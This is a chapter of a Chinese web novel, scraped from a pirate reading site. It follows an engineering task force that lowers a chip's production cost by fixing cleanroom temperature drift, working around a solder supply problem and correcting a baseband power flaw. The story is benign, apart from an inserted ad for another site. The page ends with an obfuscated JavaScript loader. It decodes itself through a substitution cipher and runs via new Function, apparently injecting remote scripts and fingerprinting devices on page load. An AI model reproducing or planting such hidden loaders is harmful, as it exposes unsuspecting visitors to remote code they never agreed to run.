首页
[切换至繁体版]
返回

第431章 质量改进与成本下降计划

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    章宸从天权6号工程公开演示的收尾工作中抽身出来,在中央研究院的走廊上被林薇截住了。林薇手里拿着一份刚列印出来的成本拆解表,纸页边缘还带着印表机的余温。她把表格摊在走廊的白色墙壁上,用手指点了点天权4号物料清单最下面的那个数字——三十二美元。
    「公开演示证明了我们的体系能力,但体系能力的商业化落地需要成本做底盘。」林薇的语气不带任何修饰,「天权4号量产爬坡到现在,单颗晶片的制造成本稳在三十二美元已经有六个星期了。三十二美元不是终点,是起点。陈醒定的三个成本节点——三十二丶二十八丶二十五——第一个节点我们已经踩住了,第二个节点的路才走了一半。」
    她把成本拆解表翻到第二页。天权4号的成本结构中,晶圆制造成本占比百分之四十一,封装测试成本占比百分之二十六,设计许可与工具链摊销占比百分之十八,其余是物流丶备件和良率损失分摊。每一个成本项旁边都标注了下降空间和对应的改进措施,但改进措施的状态栏里大多写着「待启动」或「方案评审中」。
    「追光四期的良率卡在九十二,距九十六的目标还差四个百分点。这四个百分点对应每颗晶片大约一点四美元的成本差距。」林薇的指尖沿着数字往下滑,「恒芯封装试产线的焊料合金还是用的进口配方,国产替代配方在中试验证阶段卡了两个月——每颗晶片的封装成本里,焊料这一项就比境外方案高出零点三美元。天权4L低功耗方案在缅甸渠道反馈的基带晶片特定频段功耗异常——阿贡发现的那个触发条件——如果不解决,爪哇商城在缅老柬三国的退换货率会在下个季度突破百分之五,售后成本会吃掉利润空间的三分之一。」
    本书首发读台湾好书上台湾小说网,?????.???超省心,提供给你无错章节,无乱序章节的阅读体验
    章宸听完没有立即回应。他把林薇的成本拆解表接过来,从头到尾翻了一遍,然后问了一个问题:「这些改进措施里,哪些是可以在六周内产生可量化结果的?」
    林薇显然提前准备过这个问题的答案。她从口袋里抽出一支笔,在成本拆解表的空白处画了一张简单的矩阵图。横轴是「改进周期」,纵轴是「成本影响权重」。矩阵右上角的那个象限里,她标注了三项:追光四期良率提升至九十四丶恒芯焊料国产替代配方中试完成丶天权4L基带晶片功耗异常修复。三项加起来,预计可以在六周内把天权4号的单颗成本从三十二美元拉到二十九美元区间。
    「三十二到二十九,这是从第一个节点到第二个节点之间的关键一跃。」林薇在矩阵下方写了一行字,「但要完成这一跃,需要把质量改进和成本下降从各个部门的分散攻坚变成一个统一管理的制度。现在的情况是——追光产线的良率改进归老韩管,恒芯的封装材料归孟总管,天权4L的功耗异常归赵静的AI团队和张京京的物理设计团队分头管,售后成本归方程的生态运营团队管。每一路人马都在做正确的事,但没有一个人在全局层面做成本和质量之间的权衡。」
    章宸把矩阵图拍在手机上发给了陈醒,附了一句话:「林薇建议建立质量与成本联合改进机制。请批准在中央研究院设立一个临时性专项工作组,六周为一个叠代周期,目标是把天权4号单颗成本从三十二美元压到二十九美元以下,同时不降低任何一项已公开的性能指标。」
    陈醒的回覆在十二分钟后到了。批覆的内容很简短,但最后一句话定下了整件事的基调:「同意设立专项工作组。组长由苏黛担任——质量和成本之间的权衡本质上是资源分配问题,应该由管资源的人来主持。林薇任技术负责人,老韩丶梁志远丶孟总丶方程各派一名代表常驻工作组。六周后,我要看到的不只是一组降本数据,而是一套可以复用到天权6号量产阶段的质量成本管理制度草案。」
    苏黛接到任命时正在产业扶持基金第二批评审会的准备会上。她看完陈醒的批示,把评审会的主持工作临时交给了方敏,自己抱着一摞财务数据表走进了中央研究院的六号会议室。这是她第一次以专项工作组组长的身份介入技术端的成本管控,但她切入问题的角度让在场的技术负责人都愣了一下。
    「我刚才查了追光四期过去三个月的全部工艺数据,发现了一个有意思的现象。」苏黛把一张曲线图投到屏幕上,图上三条不同颜色的曲线分别代表追光四期三个班次的良率波动。「夜班的良率平均比白班高零点六个百分点。这个差距维持了整整三个月,但从来没有人追问过为什么。」
    老韩盯着曲线看了五秒钟,然后拍了一下桌子。「夜班的环境温度比白班低三到四度,洁净室的温控系统在白班满负荷运转时会有零点二度的微幅漂移。这个漂移在规格范围内,但薄膜沉积工序对温度变化的敏感度比设备手册上标注的要高。」他转向梁志远,「这不是设备问题,是厂务系统的温控精度需要重新标定。」
    苏黛在会议纪要上写下第一条改进措施:「追光四期洁净室温控精度从正负零点五度压缩到正负零点二度,由厂务系统团队两周内完成传感器重新标定和控制器参数优化。预计良率提升零点五到零点八个百分点。」
    林薇在这个基础上追加了一条:「把温控漂移数据和薄膜沉积设备的工艺参数关联起来,写进天枢OS产线调度引擎的环境变量预响应模型。让调度引擎在环境温度漂移超过零点一度时自动调整薄膜沉积工序的加工参数,而不是等到良率波动之后再人工追溯。」
    郑工在视频接入端飞快地敲着键盘,把林薇的补充写进了预测性维护模块的下一版叠代需求。
    会议进入第二项议程时,梁志远把恒芯封装试产线的焊料国产替代问题摊到了桌面上。恒芯目前使用的焊料合金是从一家北洲供应商进口的,成分是锡银铜三元合金加上微量的镍和锗。国内两家焊料企业已经做出了成分近似的替代配方,但在中试验证阶段连续三批次出现了微凸块剪切强度不达标的问题。孟总派驻在合城的封装工艺工程师把三批次失效的样品做了能谱分析,发现失效根因是国产焊料中镍元素的分布均匀性比进口焊料差了大约百分之十五——镍在焊料基体中形成了微小的富集区,在热循环老化测试中这些富集区会率先产生界面裂纹。
    「镍元素的分布均匀性问题是粉末制备工艺的问题。」梁志远调出了国内焊料供应商的粉末制备工艺流程图,「进口焊料的金属粉末是用超声雾化法生产的,粉末颗粒的粒径分布和成分均匀性控制得非常好。国产供应商用的是气体雾化法,设备成本低丶产能高,但在镍含量较低的情况下,镍元素在粉末颗粒之间的分配不均匀。这个问题不是配方的问题,是工艺装备的问题。」
    苏黛在财务端算了一笔帐:如果从进口焊料切换到国产焊料,单颗晶片的封装成本可以下降零点三美元,全年按天权4号产量计算可以节省大约两千四百万。但如果国产焊料的可靠性与进口存在差距,导致封装良率下降哪怕一个百分点,省下来的成本就会被良率损失吃掉一半。她的结论是:「在国产焊料的可靠性数据没有达到进口焊料同等水平之前,不能切换。但我们可以做一件事——用产业扶持基金的跟投配资模式,支持国产焊料供应商引进超声雾化设备。设备投资大概在六百万到八百万之间,基金出百分之四十,供应商自筹百分之六十。设备到位后,国产焊料的成分均匀性有望在三个月内追平进口水平。」
    梁志远在苏黛的提议下加了一条补充:在国产焊料通过全部可靠性验证之前,恒芯在天权4号的封装上继续使用进口焊料,但天权4L低端型号和造芯学院实训用的教学晶片可以切换国产焊料作为先行验证。孟总在视频那头点了头:「教学晶片的量不大,但测试样本够了。给我们两个月,用教学晶片跑一遍国产焊料的全套可靠性测试。」
    第三项议程是天权4L基带晶片的特定频段功耗异常。阿贡在街边店技师群里的发现——缅甸某运营商特定频段组合下基带晶片功耗异常升高百分之十五——经过赵静团队的复现和定位,已经找到了根因。问题出在基带晶片的射频前端功率放大器偏置电路上。当设备同时接入特定运营商的低频段LTE网络和高频段WiFi热点时,功率放大器的偏置电压切换逻辑存在一个设计缺陷,导致放大器在频段切换的过渡周期内多消耗了大约八十毫瓦的功率。这个缺陷在实验室的单一频段测试中不会暴露,只有在真实网络中多频段同时工作的复杂工况下才会触发。
    张京京在物理设计层面给出了修复方案:在基带晶片的射频前端模块中增加一个偏置电压切换的硬体死区时间控制电路,用物理方式强制两个频段的功率放大器在任何情况下都不会同时处于偏置切换的过渡态。修复方案不需要改变RTL,只需要在版图层面上对射频前端模块的模拟电路区域做局部修改。晶片面积会增加大约零点三平方毫米,但功耗异常可以彻底消除。
    「零点三平方毫米的面积增加,对应每颗晶片成本上升大约零点零二美元。」苏黛在计算器上按了两下,「可以接受。但这个修复方案需要重新流片验证——哪怕只是一次金属层改版,从设计交付到新批次晶片到手至少需要八周。在这八周内,已经出货到缅甸和爪哇商城的天权4L设备怎么办?」
    方程接过了这个问题。他提出的方案是「软体围堵」——在天罡OS的系统更新中增加一个网络频段管理的节能策略,当设备检测到同时连接缅甸特定运营商的LTE网络和WiFi热点时,主动将WiFi切换到5GHz频段,避免触发2.4GHz频段与LTE低频段之间的功率放大器偏置冲突。这个策略不能根除功耗异常,但可以把异常功耗从百分之十五压缩到百分之三以内,足够撑到硬体修复版晶片到货。
    林薇在方程说完后追加了一条技术判断:「软体围堵是过渡方案,但它的有效性边界需要明确界定。赵静团队在两周内完成软体围堵方案的全部网络场景测试,确保覆盖缅老柬三国全部运营商的全部频段组合。测试数据公开——让街边店技师群里的阿贡们看到我们不是在后台偷偷打了个补丁,而是在所有用户的眼皮底下解决问题。」
    赵静在会议桌上打开终端,把测试计划的时间表排了出来。她从赵静的语气里听出了一种被数据逼出来的笃定——五百颗晶片的极限温度重新训练教会了她一件事:面对不确定性的时候,唯一正确的做法是用更多的数据把不确定性的边界逼出来。基带晶片的频段组合测试也一样——缅老柬三国加起来有六家运营商丶十二个频段丶几十种组合,全部测一遍需要两周,但只有全部测一遍,才能保证软体围堵不会在某个没有被想到的频段组合下失效。
    首次专项工作会结束时,苏黛在会议纪要上汇总了六周内的全部改进措施和量化目标。追光四期良率从百分之九十二提升至百分之九十四,对应成本下降约零点七美元。恒芯焊料国产替代方案完成中试验证,教学晶片先行切换,对应成本下降暂不计入本期目标但需锁定时间节点。天权4L基带晶片功耗异常的软体围堵方案完成全网场景测试,硬体修复版交付金属层改版设计。天权4号测试流程中的冗余环节精简——梁志远在会上提了一个被忽略已久的问题:天权4号在出厂前要经过三道内容高度重叠的测试程序,分别是最初的设计验证测试丶量产前的工艺认证测试和出厂时的最终测试。三道测试中有大约百分之三十的测试项目是重复的,如果能合并冗余测试项,每颗晶片的测试成本可以下降零点一五美元,测试时间缩短百分之二十。
    苏黛在纪要末尾写了一行加粗的字:「六周后,单颗成本目标二十九美元。同时产出天权6号量产阶段质量成本管理制度草案第一版。」
    散会后,老韩走到六号会议室的窗边,看着窗外追光五期那片正在打桩的空地。他对站在旁边的梁志远说了一句没头没尾的话:「以前我们搞成本下降,就是压供应商的价丶砍工序的步骤丶逼产线加班。现在这帮年轻人搞成本下降,是从温控漂移里抠良率丶从焊料粉末里抠均匀性丶从基带偏置电路里抠毫瓦丶从测试程序里抠重复项——每一分钱都是从工程细节里榨出来的。」
    梁志远没有接话,但他把老韩的话记在了心里。当晚他在天枢OS产线管理系统的改进需求文档里加了一条备注:「质量改进与成本下降不是两个对立的指标,而是同一个工程问题的两种表述方式。把质量做到极致,成本自然会降下来——因为每一次质量缺陷的返修丶每一次非计划停机的等待丶每一次良率波动的排查,都是成本。」
    方程在当天深夜把专项工作组的首次会议纪要转发给了缅甸阳光数码科技的吴敏登。他在邮件里专门提到,天权4L基带晶片的功耗异常已经被定位和修复,软体围堵方案将在两周内通过天罡OS系统更新推送到全部缅甸设备。他请吴敏登把这条消息转给阿贡和「应用调参群」里的两百
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();